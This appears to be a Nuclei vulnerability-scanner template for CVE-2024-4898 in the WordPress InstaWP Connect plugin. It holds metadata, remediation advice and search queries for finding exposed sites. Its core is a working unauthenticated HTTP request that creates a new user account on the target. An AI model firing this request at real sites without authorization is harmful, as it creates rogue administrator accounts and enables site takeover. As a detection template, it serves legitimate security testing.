id: CVE-2024-4898

info:
  name: WordPress InstaWP Connect <= 0.1.0.38 - Unauthenticated User Creation
  author: Sourabh-Sahu
  severity: critical
  description: |
    The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary option updates due to a missing authorization checks on the REST API calls in all versions up to, and including, 0.1.0.38. This makes it possible for unauthenticated attackers to connect the site to InstaWP API, edit arbitrary site options and create administrator accounts.
  impact: |
    Unauthenticated attackers can create administrator accounts and modify site options, leading to complete site takeover.
  remediation: |
    Update InstaWP Connect to version 0.1.0.39 or later, which patches this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/92a00fb4-7b50-43fd-ac04-5d6e29336e9c?source=cve
    - https://plugins.trac.wordpress.org/browser/instawp-connect/tags/0.1.0.38/includes/class-instawp-rest-api.php#L926
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4898
    - https://github.com/truonghuuphuc/CVE-2024-4898-Poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4898
    cwe-id: CWE-862
    epss-score: 0.04156
    epss-percentile: 0.89557
    cpe: cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: instawp
    product: instawp_connect
    framework: wordpress
    publicwww-query: "/wp-content/plugins/instawp-connect/"
    fofa-query: body="/wp-content/plugins/instawp-connect/"
  tags: cve,cve2024,wp,wp-plugin,wordpress,instawp,intrusive,priv-esc,vkev,vuln

variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  api_key: "{{api_key}}"

http:
  - raw:
      - |
        POST /wp-json/instawp-connect/v1/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "api_key": "{{api_key}}",
          "wp": {
            "users": [
              {
                "username": "{{username}}",
                "email": "{{email}}",
                "password": "{{password}}"
              }
            ]
          }
        }

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"status":true'
          - '"connect_id":'
          - '"message":"Connected"'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022048ed06b0853ebaa7b8dba922353529ad26ff5a1560b6c1b0137b9aedbea1048e022053578a440584a8400ba1b9af830bde900790b2e6c8efd2c4369f11d0ac524272:922c64590222798bb761d5b6d8e72950